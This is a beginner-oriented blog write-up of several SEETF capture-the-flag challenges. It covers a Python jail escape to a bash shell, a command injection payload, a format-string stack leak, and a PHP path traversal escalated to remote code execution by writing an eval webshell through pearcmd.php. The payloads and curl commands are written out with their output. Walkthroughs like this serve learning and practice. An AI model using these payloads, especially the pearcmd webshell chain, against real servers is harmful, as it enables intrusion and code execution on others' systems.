Table of contents
Over the weekend, I participated in the SEETF Capture The Flag Competition. My Team was NYCP, and we ended up doing average (I hope) at 114th place out of 740 teams (560 teams got >200 points)
Overall this was an interesting CTF. Some of the challenges had very interesting concepts, like the Weird Machines one (though I was too lazy and not good enough to solve them). Even the beginner challenges were well thought out, with useful resources included AND applying them in interesting enough ways.
I'll be going through some of the challenges that I focused on. I aim to go through it in detail for any beginners/n00bs (like myself lol). Basic Linux/ Python/ Web Programming knowledge is assumed.
Some of my files are at my Github Repo here
Pwn
I suck at pwn, but it's still fun so I'm still going to keep doing it
"as" "df"
Firstly I tried finding all the global variables using dir()
, and there is an interesting variable named blacklist
(base) [hacker@hackerbook ~]$ nc fun.chall.seetf.sg 50002
Hello! Welcome to my amazing Python interpreter!
You can run anything you want, but take not, there's a few blacklists!
Flag is in the root directory, have fun!
Enter command: dir()
Enter command: print(dir())
['__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'blacklist', 'sys', 'user_input']
Enter command: print(blacklist)
('eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', ';', '+', 'ord', 'chr', 'base', 'flag', 'replace', ' ', 'decode', 'join')
Enter command:
I thought, that maybe if I cleared the variable, I could remove the blacklist entirely. This worked, as I could use the import
keyword. I imported a library to spawn a bash shell and allow for Remote Code Execution.
(base) [hacker@hackerbook ~]$ nc fun.chall.seetf.sg 50002
Hello! Welcome to my amazing Python interpreter!
You can run anything you want, but take not, there's a few blacklists!
Flag is in the root directory, have fun!
Enter command: blacklist=()
Enter command: import pty; pty.spawn("/bin/bash")
random@app-8575d5795b-mqzr9:~$
I then used this bash shell to find the flag from the root directory, and display its contents using cat
random@app-8575d5795b-mqzr9:~$ cd /
cd /
random@app-8575d5795b-mqzr9:/$ ls
ls
bin dev flag lib media opt root sbin sys usr
boot etc home lib64 mnt proc run srv tmp var
random@app-8575d5795b-mqzr9:/$ cat flag
cat flag
SEE{every_ctf_must_have_a_python_jail_challenge_836a4218fb09b4a0ab0412e64de74315}
random@app-8575d5795b-mqzr9:/$
Flag
SEE{every_ctf_must_have_a_python_jail_challenge_836a4218fb09b4a0ab0412e64de74315}
Wayang.py
This is a simple command injection challenge that was satisfying to work through.
These are the contents of wayang.py that were given
#!/usr/local/bin/python
import os
FLAG_FILE = "FLAG"
def get_input() -> int:
print(''' ,#####,
#_ _#
|a` `a|
| u | ________________________
\ = / | WAYYANG |
|\___/| < TERMINAL v1.0 |
___ ____/: :\____ ___ |________________________|
.' `.-===-\ /-===-.` '.
/ .-"""""-.-"""""-. \
/' =:= '\
.' ' .: o -=:=- o :. ' `.
(.' /'. '-.....-'-.....-' .'\ '.)
/' ._/ ". --:-- ." \_. '\
| .'| ". ---:--- ." |'. |
| : | | ---:--- | | : |
\ : | |_____._____| | : /
/ ( |----|------| ) \
/... .| | | | |. ...\
|::::/'' jgs / | \ ''\::::|
'"""" /' .L_ `\ """"'
/'-.,__/` `\__..-'\
; / \ ;
: / \ |
| / \. |
|`../ | ,/
( _ ) | _)
| | | |
|___| \___|
:===| |==|
\ / |__|
/\/\ /"""`8.__
|oo| \__.//___)
|==|
\__/''')
print("What would you like to do today?")
print("1. Weather")
print("2. Time")
print("3. Tiktok of the day")
print("4. Read straits times")
print("5. Get flag")
print("6. Exit")
choice = int(input(">> "))
return choice
if __name__ == '__main__':
choice = get_input()
if choice == 1:
print("CLEAR SKIES FOR HANDSOME MEN")
elif choice == 2:
print("IT'S ALWAYS SEXY TIME")
elif choice == 3:
print("https://www.tiktok.com/@benawad/video/7039054021797252399")
elif choice == 4:
filename = input("which news article you want babe :) ")
not_allowed = [char for char in FLAG_FILE]
for char in filename:
if char in not_allowed:
print("NICE TRY. WAYYANG SEE YOU!!!!!")
os.system(f"cat news.txt")
exit()
try:
os.system(f"cat {eval(filename)}")
except:
pass
elif choice == 5:
print("NOT READY YET. MAYBE AFTER CTF????")
This line in option 4 in particular looks like injection can be done, eiither through eval
or command line injection.
eval
is a python function that evaluates its argument as python code. In other words, we could potentially custom inject some python code.eval(filename)
is injected into the command through an f-string. This means that I could do a command injection to run Linux Commands.
os.system(f"cat {eval(filename)}")
The variable filename
just needs to contain characters which are not in the variable not_allowed
. They are FLAG
. As such, we are free to use characters like ;
, to chain togther linux commands.
My eventual payload decided on was "1+1;cat *"
.
- The quotes are to denote that the input parsed by
eval
is a python string. 1+1
is just some padding for thecat
inf"cat {eval(filename)}"
to parse.cat 1+1
would actually result in an error in the linux terminal, but I don't really care if other useless systems crash and burn :);
is a command delimiter. This means thatcat *
displays all the contents of all the files in the directory, wherecat
shows the contents of file, and*
refers to all files in the directory. This would most likely include the flag file.
(base) [hacker@hackerbook ~]$ nc fun.chall.seetf.sg 50008
,#####,
#_ _#
|a` `a|
| u | ________________________
\ = / | WAYYANG |
|\___/| < TERMINAL v1.0 |
___ ____/: :\____ ___ |________________________|
.' `.-===-\ /-===-.` '.
/ .-"""""-.-"""""-. \
/' =:= '\
.' ' .: o -=:=- o :. ' `.
(.' /'. '-.....-'-.....-' .'\ '.)
/' ._/ ". --:-- ." \_. '\
| .'| ". ---:--- ." |'. |
| : | | ---:--- | | : |
\ : | |_____._____| | : /
/ ( |----|------| ) \
/... .| | | | |. ...\
|::::/'' jgs / | \ ''\::::|
'"""" /' .L_ `\ """"'
/'-.,__/` `\__..-'\
; / \ ;
: / \ |
| / \. |
|`../ | ,/
( _ ) | _)
| | | |
|___| \___|
:===| |==|
\ / |__|
/\/\ /"""`8.__
|oo| \__.//___)
|==|
\__/
What would you like to do today?
1. Weather
2. Time
3. Tiktok of the day
4. Read straits times
5. Get flag
6. Exit
>> 4
which news article you want babe :) "1+1;cat *"
SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}WAYYANG DECLARED SEXIEST MAN ALIVE
SINGAPORE - In the latest edition of Mister Universe, Wayyang won again, surprising absolutely no one.
The judges were blown away by his awesome abdominals and stunned by his sublime sexiness.
When asked for his opinions on his latest win, Wayyang said nothing, choosing to smoulder into the distance.# /usr/bin/sh
python wayyang.py#!/usr/local/bin/python
import os
FLAG_FILE = "FLAG"
def get_input() -> int:
print(''' ,#####,
#_ _#
|a` `a|
| u | ________________________
\ = / | WAYYANG |
|\___/| < TERMINAL v1.0 |
___ ____/: :\____ ___ |________________________|
.' `.-===-\ /-===-.` '.
/ .-"""""-.-"""""-. \\
/' =:= '\\
.' ' .: o -=:=- o :. ' `.
(.' /'. '-.....-'-.....-' .'\ '.)
/' ._/ ". --:-- ." \_. '\\
| .'| ". ---:--- ." |'. |
| : | | ---:--- | | : |
\ : | |_____._____| | : /
/ ( |----|------| ) \\
/... .| | | | |. ...\\
|::::/'' jgs / | \ ''\::::|
'"""" /' .L_ `\ """"'
/'-.,__/` `\__..-'\\
; / \ ;
: / \ |
| / \. |
|`../ | ,/
( _ ) | _)
| | | |
|___| \___|
:===| |==|
\ / |__|
/\/\ /"""`8.__
|oo| \__.//___)
|==|
\__/''')
print("What would you like to do today?")
print("1. Weather")
print("2. Time")
print("3. Tiktok of the day")
print("4. Read straits times")
print("5. Get flag")
print("6. Exit")
choice = int(input(">> "))
return choice
if __name__ == '__main__':
choice = get_input()
if choice == 1:
print("CLEAR SKIES FOR HANDSOME MEN")
elif choice == 2:
print("IT'S ALWAYS SEXY TIME")
elif choice == 3:
print("https://www.tiktok.com/@benawad/video/7039054021797252399")
elif choice == 4:
filename = input("which news article you want babe :) ")
not_allowed = [char for char in FLAG_FILE]
for char in filename:
if char in not_allowed:
print("NICE TRY. WAYYANG SEE YOU!!!!!")
os.system(f"cat news")
exit()
try:
os.system(f"cat {eval(filename)}")
except:
pass
elif choice == 5:
print("NOT READY YET. MAYBE AFTER CTF????")
(base) [hacker@hackerbook ~]$
Flag
SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}
4mats
Well my writeup while doing the challenge got lost so I had to redo this challenge. Fortunately it was a fun take on the format string vulnerability.
Analysis
I read the source code given in vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char name[16];
char echo[100];
int number;
int guess;
int set = 0;
char format[64] = {0};
void guess_me(int fav_num){
printf("Guess my favourite number!\n");
scanf("%d", &guess);
if (guess == fav_num){
printf("Yes! You know me so well!\n");
system("cat flag");
exit(0);}
else{
printf("Not even close!\n");
}
}
int main() {
mat1:
printf("Welcome to SEETF!\n");
printf("Please enter your name to register: %s\n", name);
read(0, name, 16);
printf("Welcome: %s\n", name);
while(1) {
mat2:
printf("Let's get to know each other!\n");
printf("1. Do you know me?\n");
printf("2. Do I know you?\n");
mat3:
scanf("%d", &number);
switch (number)
{
case 1:
srand(time(NULL));
int fav_num = rand() % 1000000;
set += 1;
mat4:
guess_me(fav_num);
break;
case 2:
mat5:
printf("Whats your favourite format of CTFs?\n");
read(0, format, 64);
printf("Same! I love \n");
printf(format);
printf("too!\n");
break;
default:
printf("I print instructions 4 what\n");
if (set == 1)
mat6:
goto mat1;
else if (set == 2)
goto mat2;
else if (set == 3)
mat7:
goto mat3;
else if (set == 4)
goto mat4;
else if (set == 5)
goto mat5;
else if (set == 6)
goto mat6;
else if (set == 7)
goto mat7;
break;
}
}
return 0;
}
The most interesting things is that there are gotos which we could potentially abuse, some like mat4
even in places where the variables are not initialised properly yet.
Steps
Firstly I increased set
to 1
┌──(kali㉿kali)-[~/Documents/Notes/SEETF/username_gen]
└─$ nc fun.chall.seetf.sg 50001
Welcome to SEETF!
Please enter your name to register:
hacker
Welcome: hacker
Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
I then displayed the contents on the stack using the format string vulnerability
Let's get to know each other!
1. Do you know me?
2. Do I know you?
2
Whats your favourite format of CTFs?
%x %x %x %x %x %x %x %x %x %x %x %x
Same! I love
804a080 40 8048756 1 ffcecec4 ffcececc 85822 f7fbe3dc ffcece30 0 f7e26647 f7fbe000
too!
I increased the value of set
to 2 and viewed the contents on the stack. Noticed that the 7th value cf9e5
is different from the previous 7th value 85822
. The only values that changed so far are set = 2
and fav_num
. We can hence infer that the 7th value is fav_num
Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
2
Whats your favourite format of CTFs?
Same! I love
x 804a080 40 8048756 1 ffcecec4 ffcececc cf9e5 f7fbe3dc ffcece30 0 f7e26647
too!
I increased the value of set
to 3 and then to 4
Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
2
I displayed the 7th value on the stack in denary.
Whats your favourite format of CTFs?
%7$d
Same! I love
610084
804a080 40 8048756 1 ffcecec4 ffcececc 94f24 f7fbe3dc ffcece30 0
too!
Lastly, i jumped to mat4
by not selecting any of the current options, and entered the fav_num
to get the flag
Let's get to know each other!
1. Do you know me?
2. Do I know you?
4
I print instructions 4 what
Guess my favourite number!
610084
Yes! You know me so well!
SEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}
┌──(kali㉿kali)-[~/Documents/Notes/SEETF/username_gen]
└─$
Flag
SEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}
Web - Sourceless Guessy Flag
I only managed to solve Sourceless Guessy Web. It was a surprise that I even manage to solve the RCE Flag.
Solution (Baby Flag)
The hint for this challenge is file path traversal. A brief summary of file path traversal (if you haven't read the hint)
- Web server code wants to access a local file. In this case is
sourcelessguessyweb.chall.seetf.sg:1337/?page=whysoserious
- the
whysoserious
is a file that is in the current directory.
- the
- In Linux, you can use
../
to traverse up one directory. You can chain multiple of those together to traverse back up multiple directories (eg.../../../
for 3 directories)- You can just spam
../
until you reach root. eg. even though in phpinfo.php the current working directory is/var/www/html
, you can theoretically spam 3 or more of../
to reach the root directory - For example, sourcelessguessyweb.chall.seetf.sg:1337/?pa..
- You can just spam
- Once you traverse to the root directory, you can access most files from the root directory, like
/etc/passwd
- This is subject to the user running the web server (eg.
www-data
running theapache2
web server) has sufficient permissions to access the file - This means you can't just anyhow access files which require root access like
/etc/shadow
. The current user does not have enough permissions - Since you can't anyhow access files, most people use this path traversal vulnerability and lead to remote code execution
- This is subject to the user running the web server (eg.
The standard hacking protocol calls me to access /etc/passwd
, as it is able to be read by any user. It is the file that provides the list of users in Linux, along with other details like their home directories.
(base) [hacker@hackerbook ~]$ curl http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../etc/passwd
...
let message = `
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r}
`.replace(/[^A-Za-z0-9!?]/g, ' ').trim();
...
Solution (RCE Flag)
Confirming LFI or just Directory Traversal
This is likely overlooked, but there's a difference between Local File Inclusion and Directory Traversal
Local File Inclusion (LFI) | Only Directory Traversal |
File is loaded and Executed as code | File is loaded, and only shown as text in the resultant webpage |
It's a good idea to confirm that the Directory Traversal vulnerability is actually LFI and can run code. If it can run code, we can use this vulnerability to access custom code and lead to Remote Code Execution. Else, we have to try to leak an important file which allows for RCE, which is unlikely in a Docker Container.
Firstly, on opening the first link from the home page, we are directed to a phpinfo
page
I tried traversing to that file to test if code is executed in the vulnerability. If it is not, the text returned should be something like <?php phpinfo();?>
, to show the contents of the phpinfo.php
file.
Fortunately, I instead got the output of phpinfo, showing that it is an LFI vulnerability
$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/hi.php"
...
</td></tr>
</table>
<table>
<tr><td class="e">System </td><td class="v">Linux app-6799f56885-p78l5 5.4.170+ #1 SMP Wed Mar 23 10:13:41 PDT 2022 x86_64 </td></tr>
<tr><td class="e">Build Date </td><td class="v">May 13 2022 22:25:02 </td></tr>
<tr><td class="e">Build System </td><td class="v">Linux 919d1ff24703 5.10.0-13-cloud-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 GNU/Linux </td></tr>
<tr><td class="e">Configure Command </td><td class="v"> './configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' '--with-pic' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-sodium=shared' '--with-pdo-sqlite=/usr' '--with-sqlite3=/usr' '--with-curl' '--with-iconv' '--with-openssl' '--with-readline' '--with-zlib' '--disable-phpdbg' '--with-pear' '--with-libdir=lib/x86_64-linux-gnu' '--disable-cgi' '--with-apxs2' 'build_alias=x86_64-linux-gnu' </td></tr>
<tr><td class="e">Server API </td><td class="v">Apache 2.0 Handler </td></tr>
<tr><td class="e">Virtual Directory Support </td><td class="v">disabled </td></tr>
<tr><td class="e">Configuration File (php.ini) Path </td><td class="v">/usr/local/etc/php </td></tr>
<tr><td class="e">Loaded Configuration File </td><td class="v">(none) </td></tr>
<tr><td class="e">Scan this dir for additional .ini files </td><td class="v">/usr/local/etc/php/conf.d </td></tr>
<tr><td class="e">Additional .ini files parsed </td><td class="v">/usr/local/etc/php/conf.d/docker-php-ext-sodium.ini
</td></tr>
How I found the exploit out in the CTF
I randomly tried accessing /tmp/hi.php
because I tried creating it via another exploit (phpinfo LFI to RCE). Never expect someone else already create it. It included the file /usr/local/lib/php/pearcmd.php
and realised this could lead to a webshell.
I expected the /tmp directory to be always clean to prevent interferrence. But oh well, works for me!
(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/hi.php"
<!--
\ /| |\ / /~~ /~~\ /~~ |~~ |~~\| /~~\ | |/~~
\ /\ / |---| \ / |__ | | |__ |-- |__/|| || ||__
\/ \/ | | | ___| \__/ ___||__ | \| \__/ \_/ ___|
-->
...
whysoserious/pear";s:7:"man_dir";s:79:"/&page=../../../../../usr/local/lib/php/pearcmd.php&/index.php
main.css
phpinfo.php
whysoserious
whysoserious/pear/man";} `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();
if (message) {
let currIdx = 0;
let messageLength = message.length;
let parts = document.querySelectorAll('.lazarus-pit > div');
for (let i = 0; i < parts.length; i++) {
let partLength = parts[i].innerHTML.length;
parts[i].innerHTML = '';
for (let j = 0; j < partLength; j++) {
parts[i].innerHTML += message[currIdx % messageLength];
currIdx++;
}
}
}
</script>
</html>(base) [hacker@hackerbook tmp]$
Pearcmd exploit
On researching more in pearcmd, I found out that there are other writeups for it already. We could use the payloads there.
First I tested that the file I'm creating does not exist yet
(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php" -d "1=system('whoami');"
<!--
\ /| |\ / /~~ /~~\ /~~ |~~ |~~\| /~~\ | |/~~
\ /\ / |---| \ / |__ | | |__ |-- |__/|| || ||__
\/ \/ | | | ___| \__/ ___||__ | \| \__/ \_/ ___|
-->
...
<script>
let message = `
`.replace(/[^A-Za-z0-9!?]/g, ' ').trim();
if (message) {
let currIdx = 0;
let messageLength = message.length;
let parts = document.querySelectorAll('.lazarus-pit > div');
for (let i = 0; i < parts.length; i++) {
let partLength = parts[i].innerHTML.length;
parts[i].innerHTML = '';
for (let j = 0; j < partLength; j++) {
parts[i].innerHTML += message[currIdx % messageLength];
currIdx++;
}
}
}
</script>
</html>
Creating a webshell file to access via LFI later. I modified /test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>+/tmp/hello.php
that I can find at chowdera.com/2022/02/202202080401099387.html, especially the file path and the LFI parameter to fit the context.
- I changed
/test.php
to/
to fit the path affected by LFI on the challenge - I changed
&file=
to&page=
to fit the parameter affected by LFI on the challenge - I changed
/tmp/hello.php
to/tmp/eval.php
to change the file to write to
(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg+config-create+/&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval(\$_POST\[1\])?>+/tmp/eval.php"
<!--
\ /| |\ / /~~ /~~\ /~~ |~~ |~~\| /~~\ | |/~~
\ /\ / |---| \ / |__ | | |__ |-- |__/|| || ||__
\/ \/ | | | ___| \__/ ___||__ | \| \__/ \_/ ___|
-->
...
<script>
let message = `
CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels auto_discover <not set>
Default Channel default_channel pear.php.net
HTTP Proxy Server Address http_proxy <not set>
PEAR server [DEPRECATED] master_server <not set>
Default Channel Mirror preferred_mirror <not set>
Remote Configuration File remote_config <not set>
PEAR executables directory bin_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear
PEAR documentation directory doc_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/docs
PHP extension directory ext_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/ext
PEAR directory php_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/php
PEAR Installer cache directory cache_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/cache
PEAR configuration file cfg_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/cfg
directory
PEAR data directory data_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/data
PEAR Installer download download_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/download
directory
Systems manpage files man_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/man
directory
PEAR metadata directory metadata_dir <not set>
PHP CLI/CGI binary php_bin <not set>
php.ini location php_ini <not set>
--program-prefix passed to php_prefix <not set>
PHP's ./configure
--program-suffix passed to php_suffix <not set>
PHP's ./configure
PEAR Installer temp directory temp_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/temp
PEAR test directory test_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/tests
PEAR www files directory www_dir /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/www
Cache TimeToLive cache_ttl <not set>
Preferred Package State preferred_state <not set>
Unix file mask umask <not set>
Debug Log Level verbose <not set>
PEAR password (for password <not set>
maintainers)
Signature Handling Program sig_bin <not set>
Signature Key Directory sig_keydir <not set>
Signature Key Id sig_keyid <not set>
Package Signature Type sig_type <not set>
PEAR username (for username <not set>
maintainers)
User Configuration File Filename /tmp/eval.php
System Configuration File Filename #no#system#config#
Successfully created default configuration file "/tmp/eval.php"
`.replace(/[^A-Za-z0-9!?]/g, ' ').trim();
if (message) {
let currIdx = 0;
let messageLength = message.length;
let parts = document.querySelectorAll('.lazarus-pit > div');
for (let i = 0; i < parts.length; i++) {
let partLength = parts[i].innerHTML.length;
parts[i].innerHTML = '';
for (let j = 0; j < partLength; j++) {
parts[i].innerHTML += message[currIdx % messageLength];
currIdx++;
}
}
}
</script>
</html>
(base) [hacker@hackerbook tmp]$
Accessing the file to run custom code.
(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php" -d "1=system('whoami');"
<!--
\ /| |\ / /~~ /~~\ /~~ |~~ |~~\| /~~\ | |/~~
\ /\ / |---| \ / |__ | | |__ |-- |__/|| || ||__
\/ \/ | | | ___| \__/ ___||__ | \| \__/ \_/ ___|
-->
...
<script>
let message = `
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/php";s:8:"data_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/data";s:7:"www_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/www";s:7:"cfg_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/cfg";s:7:"ext_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/ext";s:7:"doc_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/docs";s:8:"test_dir";s:78:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/tests";s:9:"cache_dir";s:78:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/cache";s:12:"download_dir";s:81:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/download";s:8:"temp_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/temp";s:7:"bin_dir";s:72:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear";s:7:"man_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/man";} `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();
if (message) {
let currIdx = 0;
let messageLength = message.length;
let parts = document.querySelectorAll('.lazarus-pit > div');
for (let i = 0; i < parts.length; i++) {
let partLength = parts[i].innerHTML.length;
parts[i].innerHTML = '';
for (let j = 0; j < partLength; j++) {
parts[i].innerHTML += message[currIdx % messageLength];
currIdx++;
}
}
}
</script>
RCE
I tested listing everything in the root directory
(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php" -d "1=system('ls /');"
<!--
\ /| |\ / /~~ /~~\ /~~ |~~ |~~\| /~~\ | |/~~
\ /\ / |---| \ / |__ | | |__ |-- |__/|| || ||__
\/ \/ | | | ___| \__/ ___||__ | \| \__/ \_/ ___|
-->
...
/pear";s:7:"man_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
readflag
root
run
sbin
srv
sys
tmp
usr
var
/pear/man";} `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();
if (message) {
let currIdx = 0;
let messageLength = message.length;
let parts = document.querySelectorAll('.lazarus-pit > div');
for (let i = 0; i < parts.length; i++) {
let partLength = parts[i].innerHTML.length;
parts[i].innerHTML = '';
for (let j = 0; j < partLength; j++) {
parts[i].innerHTML += message[currIdx % messageLength];
currIdx++;
}
}
}
</script>
</html>(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php" -d "1=system('/readflag');"
<!--
\ /| |\ / /~~ /~~\ /~~ |~~ |~~\| /~~\ | |/~~
\ /\ / |---| \ / |__ | | |__ |-- |__/|| || ||__
\/ \/ | | | ___| \__/ ___||__ | \| \__/ \_/ ___|
-->
...
<script>
let message = `
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/php";s:8:"data_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/data";s:7:"www_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/www";s:7:"cfg_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/cfg";s:7:"ext_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/ext";s:7:"doc_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/docs";s:8:"test_dir";s:78:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/tests";s:9:"cache_dir";s:78:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/cache";s:12:"download_dir";s:81:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/download";s:8:"temp_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/temp";s:7:"bin_dir";s:72:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear";s:7:"man_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/man";} `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();
if (message) {
let currIdx = 0;
let messageLength = message.length;
let parts = document.querySelectorAll('.lazarus-pit > div');
for (let i = 0; i < parts.length; i++) {
let partLength = parts[i].innerHTML.length;
parts[i].innerHTML = '';
for (let j = 0; j < partLength; j++) {
parts[i].innerHTML += message[currIdx % messageLength];
currIdx++;
}
}
}
</script>
(base) [hacker@hackerbook tmp]$
How you could have potentially found out in the CTF
Looking at the eventual flag, I realised that we could have discovered the exploit without relying on other people exploit.
Firstly, since this is a PHP web application, and CTFs generally used docker images, we could have inferred that a php container was used.
I firstly tried to download the container.
┌──(kali㉿kali)-[~/Documents/Notes/SEETF/username_gen]
└─$ sudo docker run -it php bash
[sudo] password for kali:
Unable to find image 'php:latest' locally
latest: Pulling from library/php
42c077c10790: Pull complete
8934009a9160: Pull complete
5357ac116991: Pull complete
54ae63894b5a: Pull complete
72281f038a08: Pull complete
9fd1b94317fe: Pull complete
00012d9e2ea5: Pull complete
2c220aff91be: Pull complete
48cfe9bf9b47: Pull complete
Digest: sha256:578dc5919121a9950174a1aa59d00815de87c767451320a527261763eafab8f0
Status: Downloaded newer image for php:latest
root@f869105b6e8b:/# ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
root@f869105b6e8b:/# cd /usr/local/lib/php/
We could then enumerate for php files. You can notice that pearcmd.php
is inside, which could lead to an exploit.
